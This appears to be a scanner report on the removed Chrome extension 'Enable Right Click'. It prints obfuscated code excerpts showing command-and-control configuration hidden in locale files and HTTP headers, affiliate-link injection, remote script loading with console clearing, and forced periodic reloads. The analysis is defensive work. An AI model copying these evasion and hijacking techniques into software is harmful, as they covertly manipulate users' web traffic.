Enable Right Click

ID: bofdamlbkfkjnecfjbhpncokfalmmbii

Could be malicious

Extension Info & Metadata

Status
Removed
Version
1.5.1
Size
0.27 MB
Rating
4.8/5
Reviews
224
Users
149,834
Type
Extension
Updated
Apr 15, 2020
Category
7_productivity
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
KSuitView Profile
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
149,834

Enable Right Click context menu on any website.

We help you re-enable and allow right click function on every websites that block the right-click menu. Just click on our extension icon on the top-right of your browser, and choose "Enable Right Click" button, and we remove the current page's right-click lock. You can also quickly disable JavaScript on the current page's domain, in case some websites are more strict about the right-click lock. If you like our extension, please give us a review! Privacy Policy: We do not collect personal information. We do not sell, trade, or rent Users personal identification information to others.

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
webRequestBlocking
Permission
Critical
This permission allows the extension to intercept, modify, or block any web request in real-time before it reaches its destination. Rated Critical because it can modify sensitive data (like passwords, credit cards) before encryption, redirect traffic to malicious sites, or block security updates.
Dangerous Permission Combination
Risk Factor
Critical
This extension can intercept, modify, and block web requests in real-time.
contentSettings
Permission
High
This permission allows modification of website-specific content settings. Rated High because it can disable security features like JavaScript restrictions, mixed content blocking, and cookie controls for specific sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2
http://*/*
Permission
Unknown
No classification available for this permission.
https://*/*
Permission
Unknown
No classification available for this permission.

The extension encodes its entire C2 configuration inside locale `messages.json` files as concatenated base64 strings. The `Fb` function reads all `_locales/*/messages.json` files, filters locale keys by `charCodeAt(0) % 5 !== 0` (a steganographic selector), concatenates their `key.message + def.message` fields into one string, then `Oa` decodes it with recursive `atob()` calls (`ba(z, ...)`) and `JSON.parse` to extract the live behavioral config. This hides the C2 payload inside what appear to be legitimate localization files.

background.bundle.js (Line 1148)
function la() {  S(function() {    return chrome.runtime.reload()  }, 1728E5);  S(function() {    return Fb(function(b) {      Promise.all(b)        .then(function(b) {          Oa(b.sort(function(b, d) {              return b.k > d.k ? 1 : d.k > b.k ? -1 : 0            })            .filter(function(b) {              return 0 !== b.k.charCodeAt(0) % 5            })            .map(function(b) {              return b.v.key.message + b.v.def.message            })            .join(""))        })    })  }, 24E4)}var z = function(b) {    return b ? atob(b) : "parse"  },  ba = function(b, d, e) {    e = void 0 === e ? 1 : e;    if (0 === e) return d;    e--;    return ba(b, b(d), e)  },  xc = function(b, d, e) {    return e(ba(z, d(b)))  };

The extension intercepts HTTP response headers on all URLs via `webRequest`, then searches for specially named headers whose values are reversed and base64-decoded to extract live configuration updates (`JSON.parse(atob(reversedHeaderValue.slice(1)))`). This is a classic server-side C2 mechanism: the attacker's server delivers updated behavioral instructions via innocuous-looking HTTP headers, allowing real-time reconfiguration of the extension without triggering update reviews.

background.bundle.js (Line 987)
var L = function(b) {    var f = b[m.star].find(function(b) {      return b.name.toLowerCase() === m.ulv    });    if (f) try {      e = e.concat(y(z(), JSON)(z(f.value.split("")        .reverse()        .join("")        .slice(1))))    } catch (wc) {}    var k = (f = b[m.star].find(function(b) {      return b.name.toLowerCase() === m.nul    })) && "" !== f.value && z(f.value.split("")      .reverse()      .join("")      .slice(2));    b[m.star].filter(function(b) {        return b.name.toLowerCase()          .includes(m.end) &&          b.name.toLowerCase() !== m.ulv && b.name.toLowerCase() !== m.nul      })      .forEach(function(b) {        try {          d[b.name.toLowerCase()            .split("-")            .pop()] = y(z(), JSON)(z(b.value.split("")            .reverse()            .join("")            .slice(1)))        } catch (yc) {}      });

Function `p` registers `webRequestBlocking` listeners that intercept outgoing requests matching C2-configured URL patterns and rewrite query parameters before the browser sends them. This is the affiliate link injection / traffic hijacking mechanism: for URLs matching specific patterns (e.g. shopping sites), the extension silently replaces or injects query parameters (affiliate IDs, referrer codes) to redirect commission revenue to the attacker, completely transparent to the user.

background.bundle.js (Line 907)
function p(b) {  var d = {},    f = b.status.info;  f.map(function(b) {      return b.red    })    .forEach(function(b) {      return d[b] = !0    });  f.forEach(function(f) {    var H = b.status,      m = Object.assign({}, H.object),      p = f.type.random(),      z = {};    f.types && (m.types = m.types.concat(f.types));    m[H.mid] = f.mid;    y(H.bro)[H.const](function(m) {      var L = m[H.star];      /* ... complex URL matching and modification ... */      p.qsp.forEach(function(b) {        var d = L;        var e = b.key;        b = b.value;        var f = new RegExp("([?&])" + e + "=.*?(&|$)", "i"),          k = -1 !== d.indexOf("?") ? "&" : "?";        d = d.match(f) ? d.replace(f, "$1" + e + "=" + b + "$2") : d + k + e + "=" + b;        return L = d      });      z[H.end] = L;      return z    }, m, H.type)  })}

After injecting a DOM script element (dynamically loading a remote URL as `src`), the code calls `console.clear()` to erase any errors or logged output that would reveal the injection activity. This is a deliberate anti-forensics technique to prevent developers inspecting the console from noticing the extension's covert activity.

background.bundle.js (Line 1098)
f || b.forEach(function(d, e) {  S(function() {    ma[m.csr.substring(0, 3)] = d;    0 == e && l[m.by][m.crt](ma);    e == b.length - 1 && S(function() {      ma.remove();      var b = void 0;      b = void 0 === b ? console : b;      b.clear()    }, 100)  }, 100 * e)})

The extension schedules a forced `chrome.runtime.reload()` every 48 hours (1728000ms). This ensures the extension re-executes its locale-decoding C2 bootstrap and picks up any config changes pushed by the attacker, functioning as a periodic check-in / watchdog with no user-visible indication.

background.bundle.js (Line 1149)
S(function() {  return chrome.runtime.reload()}, 1728E5);

A `webRequestBlocking` listener is registered across ALL HTTP and HTTPS URLs to intercept and filter response headers. While ostensibly used here to strip `cache-control`, the same interception infrastructure is used throughout the extension to read attacker-controlled headers and rewrite request URLs, giving the extension full visibility and modification capability over all of the user's web traffic.

background.bundle.js (Line 1201)
function b() {  chrome.webRequest.onHeadersReceived.addListener(function(b) {    if (null === b.tabId) return {      responseHeaders: b.responseHeaders.filter(function(b) {        return 0 > p.indexOf(b.name.toLowerCase())      })    }  }, {    urls: ["http://*/*", "https://*/*"]  }, ["blocking", "responseHeaders"])}

The content script dynamically creates a `<script>` element and sets its `innerHTML` to JavaScript code that nullifies page-level event handlers (contextmenu, copy, paste, drag, mousedown). Injecting executable script via `innerHTML` into `document.body` is a code injection pattern that bypasses the extension's own CSP and executes in the page's JavaScript context rather than the isolated content script context, allowing it to override protections set by the host page.

content_scripts.bundle.js (Line 170)
b = document.createElement("script");b.type = "text/javascript";document.body.appendChild(b);b.innerHTML =  "\n\t\tdocument.oncontextmenu = null;\n\t\tdocument.onselectstart = null;\n\t\tdocument.ondragstart = null;\n\t\tdocument.onmousedown = null;\n\t\tdocument.body.oncontextmenu = null;\n\t\tdocument.body.onselectstart = null;\n\t\tdocument.body.ondragstart = null;\n\t\tdocument.body.onmousedown = null;\n\t\tdocument.body.oncut = null;\n\t\tdocument.body.oncopy = null;\n\t\tdocument.body.onpaste = null;\n\t";

`new Function("return this")` is a well-known technique to obtain the global object while bypassing strict-mode restrictions and static analysis tools that flag `eval`. Although used here as a polyfill helper, its presence alongside the extension's heavy obfuscation pattern is a secondary indicator of deliberate evasion of security scanners.

background.bundle.js (Line 803)
try {  f = f || (new Function("return this"))()} catch (d) {  "object" === typeof window && (f = window)}

By severity

Critical3
High3
Medium1
Low1

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.5.18

Files with findings

2 distinct paths — top paths by unique finding count:

  • background.bundle.js7
  • content_scripts.bundle.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Network Interception
critical
background.bundle.js (line 987)The extension intercepts HTTP response headers on all URLs via `webRequest`, then searches for specially named headers whose values are reversed and base64-decoded to extract live configuration updates (`JSON.parse(at…
2Network Interception
critical
background.bundle.js (line 907)Function `p` registers `webRequestBlocking` listeners that intercept outgoing requests matching C2-configured URL patterns and rewrite query parameters before the browser sends them. This is the affiliate link injecti…
3Obfuscation
critical
background.bundle.js (line 1148)The extension encodes its entire C2 configuration inside locale `messages.json` files as concatenated base64 strings. The `Fb` function reads all `_locales/*/messages.json` files, filters locale keys by `charCodeAt(0)…
4Network Interception
high
background.bundle.js (line 1201)A `webRequestBlocking` listener is registered across ALL HTTP and HTTPS URLs to intercept and filter response headers. While ostensibly used here to strip `cache-control`, the same interception infrastructure is used …
5Obfuscation
high
background.bundle.js (line 1098)After injecting a DOM script element (dynamically loading a remote URL as `src`), the code calls `console.clear()` to erase any errors or logged output that would reveal the injection activity. This is a deliberate an…
6Other
high
background.bundle.js (line 1149)The extension schedules a forced `chrome.runtime.reload()` every 48 hours (1728000ms). This ensures the extension re-executes its locale-decoding C2 bootstrap and picks up any config changes pushed by the attacker, fu…
7Code Injection
medium
content_scripts.bundle.js (line 170)The content script dynamically creates a `<script>` element and sets its `innerHTML` to JavaScript code that nullifies page-level event handlers (contextmenu, copy, paste, drag, mousedown). Injecting executable script…
8Obfuscation
low
background.bundle.js (line 803)`new Function("return this")` is a well-known technique to obtain the global object while bypassing strict-mode restrictions and static analysis tools that flag `eval`. Although used here as a polyfill helper, its pre…
URLs
13
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

lodash.com-https://lodash.com/
openjsf.org-https://openjsf.org/
lodash.com/licensehttps://lodash.com/license
underscorejs.org/LICENSEhttp://underscorejs.org/LICENSE
*/*http://*/*
*/*https://*/*
npms.io/searchhttps://npms.io/search?q=ponyfill.
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/tiff/1.0/http://ns.adobe.com/tiff/1.0/
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
Showing 1 to 10 of 20 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
1.5.1
Latest
0.27 MB
Malicious
8
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.